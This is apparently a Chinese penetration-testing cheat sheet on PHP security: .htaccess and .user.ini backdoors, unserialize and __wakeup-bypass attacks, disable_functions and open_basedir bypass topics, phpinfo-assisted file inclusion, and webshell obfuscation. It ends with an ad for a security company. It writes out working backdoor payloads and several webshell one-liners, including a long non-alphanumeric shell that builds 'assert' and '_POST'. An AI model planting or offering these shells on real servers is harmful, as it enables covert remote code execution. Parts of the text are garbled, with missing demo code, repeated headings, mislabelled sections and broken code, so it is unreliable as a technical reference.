很多想做滲透測試的朋友都想了解關(guān)于php后門漏洞的安全測試重點方法,以及該如何預(yù)防被中php后門,本節(jié)由我們的安全高級滲透工程師進行全面的講解,來讓大家更好的理解和了解php代碼的安全檢測,讓網(wǎng)站得到最大化的安全保障,安全保障了,網(wǎng)站才能更長遠的運行下去。
4.1.1. 后門
4.1.1.1. php.ini構(gòu)成的后門
利用 auto_prepend_file 和 include_path
4.1.1.2. .htaccess后門
php_value auto_Append_file .htaccess
#<?php phpinfo();
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
4.1.1.3. .user.ini文件構(gòu)成的PHP后門
.user.ini可運行于所有以fastcgi運行的server。利用方式同php.in
4.1.2. 反序列化
4.1.2.1. PHP序列化實現(xiàn)
PHP序列化處理共有三種,分別為php_serialize、php_binary和 WDDX,默認為php_serialize,可通過配置中的 session.serialize_handler 修改。
其中php_serialize的實現(xiàn)在 php-src/ext/standard/var.c 中,主要函數(shù)為 php_var_serialize_intern ,序列化后的格式如下:
- boolean
- b:<value>;
- b:1; // true
- b:0; // false
- integer
- i:<value>;
- double
- d:<value>;
- NULL
- N;
- string
- s:<length>:"<value>";
- s:1:"s";
- array
- a:<length>:{key, value};
- a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");
- object
- O:<class_name_length>:"<class_name><number_of_properties>:{<properties>};
- reference
- 指針類型
- R:reference;
- O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}
- $a = new A();$a->a=1;$a->b=&$a->a;
4.1.2.2. PHP反序列化漏洞
php在反序列化的時候會調(diào)用 __wakeup / __sleep 等函數(shù),可能會造成代碼執(zhí)行等問題。若沒有相關(guān)函數(shù),在析構(gòu)時也會調(diào)用相關(guān)的析構(gòu)函數(shù),同樣會造成代碼執(zhí)行。
另外 __toString / __call 兩個函數(shù)也有利用的可能。
其中 __wakeup 在反序列化時被觸發(fā),__destruct 在GC時被觸發(fā), __toString 在echo時被觸發(fā), __call 在一個未被定義的函數(shù)調(diào)用時被觸發(fā)。
下面提供一個簡單的demo.
利用 auto_prepend_file 和 include_path
輸出
construct
Data's value is raw value.
destruct
string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"
把序列化的字符串修改一下后,執(zhí)行
unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');
輸出
wake up
Data's value is malicious value.
destruct
這里看到,值被修改了.
上面是一個 unserialize() 的簡單應(yīng)用,不難看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如讀寫文件、操作數(shù)據(jù)庫,就可以通過函數(shù)實現(xiàn)文件讀寫或者數(shù)據(jù)讀取的行為。
那么,在 __wakeup() 中加入判斷是否可以阻止這個漏洞呢?在 __wakeup() 中我們加入一行代碼
但其實還是可以繞過的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。當反序列化中object的個數(shù)和之前的個數(shù)不等時,wakeup就會被繞過,于是使用下面的payload
unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');
輸出
Data's value is malicious value.
destruct
這里wakeup被繞過,值依舊被修改了。
4.1.3. Disable Functions
4.1.3.1. 機制實現(xiàn)
PHP中Disable Function的實現(xiàn)是在php-src/Zend/Zend-API.c中。PHP在啟動時,讀取配置文件中禁止的函數(shù),逐一根據(jù)禁止的函數(shù)名調(diào)用 zend_disable_function 來實現(xiàn)禁止的效果。
這個函數(shù)根據(jù)函數(shù)名在內(nèi)置函數(shù)列表中找到對應(yīng)的位置并修改掉,當前版本的代碼如下:
和函數(shù)的實現(xiàn)方式類似,disable classes也是這樣實現(xiàn)的
因為這個實現(xiàn)機制的原因,在PHP啟動后通過 ini_set 來修改 disable_functions 或 disable_classes 是無效的。
4.1.3.2. Bypass
- LD_PRELOAD繞過
- PHP OPcache
- Mail函數(shù)
- imap_open
4.1.4. Open Basedir
4.1.4.1. 機制實現(xiàn)
PHP中Disable Function的實現(xiàn)是在php-src/main/fopen-wrappers.c中,實現(xiàn)方式是在調(diào)用文件等相關(guān)操作時調(diào)用函數(shù)根據(jù)路徑來檢查是否在basedir內(nèi),其中一部分實現(xiàn)代碼如下:
PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;
/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
pathbuf = estrdup(PG(open_basedir))
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '';
end++;
}
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
4.1.5. phpinfo相關(guān)漏洞
4.1.5.1. Session.Save
PHP的Session默認handler為文件,存儲在 php.ini 的 session.save_path 中,若有任意讀寫文件的權(quán)限,則可修改或讀取session。從phpinfo中可獲得session位置
4.1.5.2. Session.Upload
php.ini默認開啟了 session.upload_progress.enabled , 該選項會導致生成上傳進度文件,其存儲路徑可以在phpinfo中獲取。
那么可以構(gòu)造特別的報文向服務(wù)器發(fā)送,在有LFI的情況下即可利用。
4.1.5.3. /tmp臨時文件競爭
phpinfo中可以看到上傳的臨時文件的路徑,從而實現(xiàn)LFI
4.1.6. htaccess injection payload
4.1.6.1. file inclusion
利用 auto_prepend_file 和 include_path
4.1.6.2. code execution
php_value auto_append_file .htaccess
#<?php phpinfo();
4.1.6.3. file inclusion
- php_flag allow_url_include 1
- php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
- #php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
- #php_value auto_append_file /evil-code.txt
4.1.6.4. code execution with UTF-7
php_flag zend.multibyte 1
php_value zend._encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs
4.1.6.5. Source code disclosure
php_flag engine 0
4.1.7. WebShell
4.1.7.1. 常見變形
- GLOBALS
- eval($GLOBALS['_POST']['op']);
- $_FILE
- eval($_FILE['name']);
- 拆分
- assert(${"_PO"."ST"} ['sz']);
- 動態(tài)函數(shù)執(zhí)行
- $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
- create_function
- $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();
- preg_replace
- rot13
- 進制轉(zhuǎn)化
- "\x62\x61163\x65\x36\x34137144145\x63\x6f144145"
- 利用文件名
- __FILE__
4.1.7.2. 字符串變形函數(shù)
- ucwords
- ucfirst
- trim
- substr_replace
- substr
- strtr
- strtoupper
- strtolower
- strtok
- str_rot13
4.1.7.3. 回調(diào)函數(shù)
- call_user_func_array
- call_user_func
- array_filter
- array_walk
- array_map
- registregister_shutdown_function
- register_tick_function
- filter_var
- filter_var_array
- uasort
- uksort
- array_reduce
- array_walk
- array_walk_recursive
4.1.7.4. 特殊字符Shell
PHP的字符串可以在進行異或、自增運算的時候,會直接進行運算,故可以使用特殊字符來構(gòu)成Shell。
@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
@${$__}[!$_](${$__}[$_]);
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(_decode($_[_]));
4.1.8. 其它
4.1.8.1. 低精度
php中并不是用高精度來存儲浮點數(shù),而是用使用 IEEE 754 雙精度格式,造成在涉及到浮點數(shù)比較的時候可能會出現(xiàn)預(yù)期之外的錯誤。比如 php -r "var_dump(0.2+0.7==0.9);" 這行代碼的輸出是 bool(false) 而不是 bool(true)。這在一些情況下可能出現(xiàn)問題。
4.1.8.2. 弱類型
如果使用 == 來判斷相等,則會因為類型推斷出現(xiàn)一些預(yù)料之外的行為,比如magic hash,指當兩個md5值都是 0e[0-9]{30} 的時候,就會認為兩個hash值相等。另外在判斷字符串和數(shù)字的時候,PHP會自動做類型轉(zhuǎn)換,那么 1=="1a.php" 的結(jié)果會是true
另外在判斷一些hash時,如果傳入的是數(shù)組,返回值會為 NULL, 因此在判斷來自網(wǎng)絡(luò)請求的數(shù)據(jù)的哈希值時需要先判斷數(shù)據(jù)類型。
同樣的, strcmp() ereg() strpos() 這些函數(shù)在處理數(shù)組的時候也會異常,返回NULL。
4.1.8.3. 命令執(zhí)行
preg_replace 第一個參數(shù)是//e的時候,第二個參數(shù)會被當作命令執(zhí)行
4.1.8.4. 截斷
PHP字符存在截斷行為,可以使用 ereg / %00 / iconv 等實現(xiàn)php字符截斷的操作,從而觸發(fā)漏洞。
4.1.8.5. 變量覆蓋
當使用 extract / parse_str 等函數(shù)時,或者使用php的 $$ 特性時,如果沒有正確的調(diào)用,則可能使得用戶可以任意修改變量。
4.1.8.6. 執(zhí)行系統(tǒng)命令
禁用的函數(shù)可以在phpinfo中的 disable_functions 中查看
- pcntl_exec
- exec
- passthru
- popen
- shell_exec
- system
- proc_open
4.1.8.7. Magic函數(shù)
- __construct() __destruct()
- __call() __callStatic()
- __get() __set()
- __isset() __unset()
- __sleep() __wakeup()
- __toString()
- __invoke()
- __set_state()
- __clone()
- __debugInfo()
4.1.8.8. 文件相關(guān)敏感函數(shù)
- move_uploaded_file
- file_put_contents / file_get_contents
- unlink
- fopen / fgets
4.1.8.9. php特性
- php自身在解析請求的時候,如果參數(shù)名字中包含” “、”.”、”[“這幾個字符,會將他們轉(zhuǎn)換成下劃線,講了那么多滲透測試中PHP后門的安全檢測方法,那么如果對此有需求的朋友可以咨詢專業(yè)的網(wǎng)站安全公司來做滲透測試。